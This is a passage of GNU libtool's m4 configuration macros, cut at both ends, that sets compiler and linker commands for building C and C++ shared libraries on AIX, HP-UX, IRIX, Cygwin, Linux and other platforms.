"$GCC" = yes; then case $_LT_TAGVAR(archive_cmds, $1) in *'~'*) # FIXME: we may have to deal with multi-command sequences. ;; '$CC '*) # Test whether the compiler implicitly links with -lc since on some # systems, -lgcc has to come before -lc. If gcc already passes -lc # to ld, don't add -lc before -lgcc. AC_MSG_CHECKING([whether -lc should be explicitly linked in]) $RM conftest* echo "$lt_simple_compile_test_code" > conftest.$ac_ext if AC_TRY_EVAL(ac_compile) 2>conftest.err; then soname=conftest lib=conftest libobjs=conftest.$ac_objext deplibs= wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) pic_flag=$_LT_TAGVAR(lt_prog_compiler_pic, $1) compiler_flags=-v linker_flags=-v verstring= output_objdir=. libname=conftest lt_save_allow_undefined_flag=$_LT_TAGVAR(allow_undefined_flag, $1) _LT_TAGVAR(allow_undefined_flag, $1)= if AC_TRY_EVAL(_LT_TAGVAR(archive_cmds, $1) 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) then _LT_TAGVAR(archive_cmds_need_lc, $1)=no else _LT_TAGVAR(archive_cmds_need_lc, $1)=yes fi _LT_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag else cat conftest.err 1>&5 fi $RM conftest* AC_MSG_RESULT([$_LT_TAGVAR(archive_cmds_need_lc, $1)]) ;; esac fi ;; esac _LT_TAGDECL([build_libtool_need_lc], [archive_cmds_need_lc], [0], [Whether or not to add -lc for building shared libraries]) _LT_TAGDECL([allow_libtool_libs_with_static_runtimes], [enable_shared_with_static_runtimes], [0], [Whether or not to disallow shared libs when runtime libs are static]) _LT_TAGDECL([], [export_dynamic_flag_spec], [1], [Compiler flag to allow reflexive dlopens]) _LT_TAGDECL([], [whole_archive_flag_spec], [1], [Compiler flag to generate shared objects directly from archives]) _LT_TAGDECL([], [compiler_needs_object], [1], [Whether the compiler copes with passing no objects directly]) _LT_TAGDECL([], [old_archive_from_new_cmds], [2], [Create an old-style archive from a shared archive]) _LT_TAGDECL([], [old_archive_from_expsyms_cmds], [2], [Create a temporary old-style archive to link instead of a shared archive]) _LT_TAGDECL([], [archive_cmds], [2], [Commands used to build a shared archive]) _LT_TAGDECL([], [archive_expsym_cmds], [2]) _LT_TAGDECL([], [module_cmds], [2], [Commands used to build a loadable module if different from building a shared archive.]) _LT_TAGDECL([], [module_expsym_cmds], [2]) _LT_TAGDECL([], [with_gnu_ld], [1], [Whether we are building with GNU ld or not]) _LT_TAGDECL([], [allow_undefined_flag], [1], [Flag that allows shared libraries with undefined symbols to be built]) _LT_TAGDECL([], [no_undefined_flag], [1], [Flag that enforces no undefined symbols]) _LT_TAGDECL([], [hardcode_libdir_flag_spec], [1], [Flag to hardcode $libdir into a binary during linking. This must work even if $libdir does not exist]) _LT_TAGDECL([], [hardcode_libdir_flag_spec_ld], [1], [[If ld is used when linking, flag to hardcode $libdir into a binary during linking. This must work even if $libdir does not exist]]) _LT_TAGDECL([], [hardcode_libdir_separator], [1], [Whether we need a single "-rpath" flag with a separated argument]) _LT_TAGDECL([], [hardcode_direct], [0], [Set to "yes" if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_direct_absolute], [0], [Set to "yes" if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the resulting binary and the resulting library dependency is "absolute", i.e impossible to change by setting ${shlibpath_var} if the library is relocated]) _LT_TAGDECL([], [hardcode_minus_L], [0], [Set to "yes" if using the -LDIR flag during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_shlibpath_var], [0], [Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_automatic], [0], [Set to "yes" if building a shared library automatically hardcodes DIR into the library and all subsequent libraries and executables linked against it]) _LT_TAGDECL([], [inherit_rpath], [0], [Set to yes if linker adds runtime paths of dependent libraries to runtime path list]) _LT_TAGDECL([], [link_all_deplibs], [0], [Whether libtool must link a program against all its dependency libraries]) _LT_TAGDECL([], [fix_srcfile_path], [1], [Fix the shell variable $srcfile for the compiler]) _LT_TAGDECL([], [always_export_symbols], [0], [Set to "yes" if exported symbols are required]) _LT_TAGDECL([], [export_symbols_cmds], [2], [The commands to list exported symbols]) _LT_TAGDECL([], [exclude_expsyms], [1], [Symbols that should not be listed in the preloaded symbols]) _LT_TAGDECL([], [include_expsyms], [1], [Symbols that must always be exported]) _LT_TAGDECL([], [prelink_cmds], [2], [Commands necessary for linking programs (against libraries) with templates]) _LT_TAGDECL([], [file_list_spec], [1], [Specify filename containing input files]) dnl FIXME: Not yet implemented dnl _LT_TAGDECL([], [thread_safe_flag_spec], [1], dnl [Compiler flag to generate thread safe objects]) ])# _LT_LINKER_SHLIBS # _LT_LANG_C_CONFIG([TAG]) # ------------------------ # Ensure that the configuration variables for a C compiler are suitably # defined. These variables are subsequently used by _LT_CONFIG to write # the compiler configuration to `libtool'. m4_defun([_LT_LANG_C_CONFIG], [m4_require([_LT_DECL_EGREP])dnl lt_save_CC="$CC" AC_LANG_PUSH(C) # Source file extension for C test sources. ac_ext=c # Object file extension for compiled C test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code="int some_variable = 0;" # Code to be used in simple link tests lt_simple_link_test_code='int main(){return(0);}' _LT_TAG_COMPILER # Save the default compiler, since it gets overwritten when the other # tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. compiler_DEFAULT=$CC # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... if test -n "$compiler"; then _LT_COMPILER_NO_RTTI($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) LT_SYS_DLOPEN_SELF _LT_CMD_STRIPLIB # Report which library types will actually be built AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_CONFIG($1) fi AC_LANG_POP CC="$lt_save_CC" ])# _LT_LANG_C_CONFIG # _LT_PROG_CXX # ------------ # Since AC_PROG_CXX is broken, in that it returns g++ if there is no c++ # compiler, we have our own version here. m4_defun([_LT_PROG_CXX], [ pushdef([AC_MSG_ERROR], [_lt_caught_CXX_error=yes]) AC_PROG_CXX if test -n "$CXX" && ( test "X$CXX" != "Xno" && ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) || (test "X$CXX" != "Xg++"))) ; then AC_PROG_CXXCPP else _lt_caught_CXX_error=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_CXX dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_CXX], []) # _LT_LANG_CXX_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for a C++ compiler are suitably # defined. These variables are subsequently used by _LT_CONFIG to write # the compiler configuration to `libtool'. m4_defun([_LT_LANG_CXX_CONFIG], [AC_REQUIRE([_LT_PROG_CXX])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_EGREP])dnl AC_LANG_PUSH(C++) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(compiler_needs_object, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for C++ test sources. ac_ext=cpp # Object file extension for compiled C++ test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the CXX compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_caught_CXX_error" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="int some_variable = 0;" # Code to be used in simple link tests lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }' # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC=$CC lt_save_LD=$LD lt_save_GCC=$GCC GCC=$GXX lt_save_with_gnu_ld=$with_gnu_ld lt_save_path_LD=$lt_cv_path_LD if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx else $as_unset lt_cv_prog_gnu_ld fi if test -n "${lt_cv_path_LDCXX+set}"; then lt_cv_path_LD=$lt_cv_path_LDCXX else $as_unset lt_cv_path_LD fi test -z "${LDCXX+set}" || LD=$LDCXX CC=${CXX-"c++"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) if test -n "$compiler"; then # We don't want -fno-exception when compiling C++ code, so set the # no_builtin_flag separately if test "$GXX" = yes; then _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' else _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= fi if test "$GXX" = yes; then # Set up default GNU C++ configuration LT_PATH_LD # Check if GNU C++ uses GNU ld as the underlying linker, since the # archiving commands below assume that GNU ld is being used. if test "$with_gnu_ld" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # If archive_cmds runs LD, not CC, wlarc should be empty # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to # investigate it a little bit more. (MM) wlarc='${wl}' # ancient GNU ld didn't support --whole-archive et. al. if eval "`$CC -print-prog-name=ld` --help 2>&1" | $GREP 'no-whole-archive' > /dev/null; then _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' else _LT_TAGVAR(whole_archive_flag_spec, $1)= fi else with_gnu_ld=no wlarc= # A generic and very simple default shared library creation # command for GNU C++ for the case where it uses the native # linker, instead of GNU ld. If possible, this setting should # overridden to take advantage of the native linker features on # the platform it is being used on. _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' fi # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else GXX=no with_gnu_ld=no wlarc= fi # PORTME: fill in a description of your system's C++ link characteristics AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) _LT_TAGVAR(ld_shlibs, $1)=yes case $host_os in aix3*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; aix[[4-9]]*) if test "$host_cpu" = ia64; then # On IA64, the linker does run time linking by default, so we don't # have to do anything special. aix_use_runtimelinking=no exp_sym_flag='-Bexport' no_entry_flag="" else aix_use_runtimelinking=no # Test if we are trying to use run time linking or normal # AIX style linking. If -brtl is somewhere in LDFLAGS, we # need to do runtime linking. case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) for ld_flag in $LDFLAGS; do case $ld_flag in *-brtl*) aix_use_runtimelinking=yes break ;; esac done ;; esac exp_sym_flag='-bexport' no_entry_flag='-bnoentry' fi # When large executables or shared objects are built, AIX ld can # have problems creating the table of contents. If linking a library # or program results in "error TOC overflow" add -mminimal-toc to # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. _LT_TAGVAR(archive_cmds, $1)='' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(file_list_spec, $1)='${wl}-f,' if test "$GXX" = yes; then case $host_os in aix4.[[012]]|aix4.[[012]].*) # We only want to do this on AIX 4.2 and lower, the check # below for broken collect2 doesn't work under 4.3+ collect2name=`${CC} -print-prog-name=collect2` if test -f "$collect2name" && strings "$collect2name" | $GREP resolve_lib_name >/dev/null then # We have reworked collect2 : else # We have old collect2 _LT_TAGVAR(hardcode_direct, $1)=unsupported # It fails to find uninstalled libraries when the uninstalled # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)= fi esac shared_flag='-shared' if test "$aix_use_runtimelinking" = yes; then shared_flag="$shared_flag "'${wl}-G' fi else # not using gcc if test "$host_cpu" = ia64; then # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release # chokes on -Wl,-G. The following line is correct: shared_flag='-G' else if test "$aix_use_runtimelinking" = yes; then shared_flag='${wl}-G' else shared_flag='${wl}-bM:SRE' fi fi fi _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-bexpall' # It seems that -bexpall does not export symbols beginning with # underscore (_), so it is better to generate a list of symbols to # export. _LT_TAGVAR(always_export_symbols, $1)=yes if test "$aix_use_runtimelinking" = yes; then # Warning - without using the other runtime loading flags (-brtl), # -berok will link without error, but may produce a broken library. _LT_TAGVAR(allow_undefined_flag, $1)='-berok' # Determine the default libpath from the value encoded in an empty # executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" else if test "$host_cpu" = ia64; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" else # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' # Exported symbols can be pulled into shared objects from archives _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' _LT_TAGVAR(archive_cmds_need_lc, $1)=yes # This is similar to how AIX traditionally builds its shared # libraries. _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' fi fi ;; beos*) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Joseph Beckenbach says some releases of gcc # support --undefined. This deserves some investigation. FIXME _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; chorus*) case $cc_basename in *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, # as there is no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' # If the export-symbols file already is a .def file (1st line # is EXPORTS), use it as is; otherwise, prepend... _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then cp $export_symbols $output_objdir/$soname.def; else echo EXPORTS > $output_objdir/$soname.def; cat $export_symbols >> $output_objdir/$soname.def; fi~ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; darwin* | rhapsody*) _LT_DARWIN_LINKER_FEATURES($1) ;; dgux*) case $cc_basename in ec++*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; ghcx*) # Green Hills C++ Compiler # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; freebsd[[12]]*) # C++ shared libraries reported to be fairly broken before # switch to ELF _LT_TAGVAR(ld_shlibs, $1)=no ;; freebsd-elf*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;; freebsd* | dragonfly*) # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF # conventions _LT_TAGVAR(ld_shlibs, $1)=yes ;; gnu*) ;; hpux9*) _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, # but as the default # location of the library. case $cc_basename in CC*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; aCC*) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $EGREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes; then _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; hpux10*|hpux11*) if test $with_gnu_ld = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: case $host_cpu in hppa*64*|ia64*) ;; *) _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' ;; esac fi case $host_cpu in hppa*64*|ia64*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, # but as the default # location of the library. ;; esac case $cc_basename in CC*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; aCC*) case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; esac # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $GREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes; then if test $with_gnu_ld = no; then case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; esac fi else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; interix[[3-9]]*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by # default) and relocated if they conflict, which is a slow very memory # consuming and fragmenting process. To avoid this, we pick a random, # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link # time. Moving up from 0x10000000 also allows more sbrk(2) space. _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' ;; irix5* | irix6*) case $cc_basename in CC*) # SGI C++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' # Archives containing C++ object files must be created using # "CC -ar", where "CC" is the IRIX C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' ;; *) if test "$GXX" = yes; then if test "$with_gnu_ld" = no; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' else _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` -o $lib' fi fi _LT_TAGVAR(link_all_deplibs, $1)=yes ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(inherit_rpath, $1)=yes ;; linux* | k*bsd*-gnu) case $cc_basename in KCC*) # Kuck and Associates, Inc. (KAI) C++ Compiler # KCC will only create a shared library if the output file # ends with ".so" (or ".sl" for HP-UX), so rename the library # to its proper name (with version) after linking. _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | $GREP "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # Archives containing C++ object files must be created using # "CC -Bstatic", where "CC" is the KAI C++ compiler. _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;; icpc* | ecpc* ) # Intel C++ with_gnu_ld=yes # version 8.0 and above of icpc choke on multiply defined symbols # if we add $predep_objects and $postdep_objects, however 7.1 and # earlier do not add the objects themselves. case `$CC -V 2>&1` in *"Version 7."*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' ;; *) # Version 8.0 or newer tmp_idyn= case $host_cpu in ia64*) tmp_idyn=' -i_dynamic';; esac _LT_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' 